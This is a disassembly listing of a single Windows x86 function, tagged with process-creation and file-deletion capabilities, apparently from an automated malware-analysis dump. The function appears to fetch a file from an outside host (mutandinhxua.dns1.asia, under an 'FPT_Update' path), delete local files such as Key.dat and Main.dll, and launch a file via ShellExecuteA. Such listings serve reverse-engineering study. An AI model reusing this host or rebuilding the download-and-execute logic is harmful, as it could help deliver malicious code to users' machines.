Function at 0x402f90
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4075c4
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xc0
mov eax, dword [0x40b040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x39
xorps xmm0, xmm0
mov dword [ebp - 0x58], 0
push str.http:__mutandinhxua.dns1.asia_Main_FPT_Update_Version.dat
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x54], 0
movups xmmword [ebp - 0x68], xmm0
call fcn.004058c0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x50]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
push str.Version.dat
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x3c], 0
call fcn.004058c0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x38]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
push 0x408940
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0
call fcn.004058c0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xd0]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
push 0x19
push str.DataLocalClientInfo.bmd
movq qword [ebp - 0x20], xmm0
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
call fcn.004058c0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xb8]
push 7
xorps xmm0, xmm0
mov dword [ebp - 0xa8], 0
push str.Key.dat
movups xmmword [ebp - 0xb8], xmm0
mov dword [ebp - 0xa4], 0
call fcn.004058c0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xa0]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x90], 0
push 0x408974
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x8c], 0
call fcn.004058c0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x88]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
push str.Main.dll
movups xmmword [ebp - 0x88], xmm0
mov dword [ebp - 0x74], 0
call fcn.004058c0
lea edi, [ebp - 0xd0]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x20], 0
sub ecx, edi
mov dword [ebp - 0x1c], 0
mov eax, 0x2aaaaaab
mov dword [ebp - 0x18], 0
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4031cf
cmp eax, 0xaaaaaaa
ja 0x40331e
lea esi, [eax + eax*2]
shl esi, 3
test esi, esi
jne 0x40316e
xor eax, eax
jmp 0x4031a8
cmp esi, 0x1000
jb 0x40319f
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x403323
push eax
call fcn.00406245
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x4032ee
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x4031a8
push esi
call fcn.00406245
add esp, 4
add esi, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], esi
lea esi, [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x6c], esi
push esi
push eax
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 7
mov ecx, edi
call fcn.00406010
add esp, 8
mov dword [ebp - 0x1c], eax
push 0x405020
push 4
push 0x18
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 9
push eax
call fcn.00406275
lea edx, [ebp - 0x50]
lea ecx, [ebp - 0x68]
call fcn.00402ce0
test al, al
je 0x403238
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
cmp esi, edi
je 0x403219
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x40320b
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esi, 0x18
cmp esi, edi
jne 0x403201
cmp dword [ebp - 0x24], 0xf
lea eax, [ebp - 0x38]
push 5
cmova eax, dword [ebp - 0x38]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x20]
call fcn.00405170
mov ecx, dword [ebp - 0x24]
cmp ecx, 0xf
jbe 0x403274
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40326a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032ee
push ecx
push edx
call fcn.0040638a
add esp, 8
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
cmp ecx, 0xf
jbe 0x4032b6
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4032ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032ee
push ecx
push edx
call fcn.0040638a
add esp, 8
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0xf
jbe 0x4032fe
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4032f4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4032f4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040638a
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00406237
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00406000
call fcn.004010d0
int3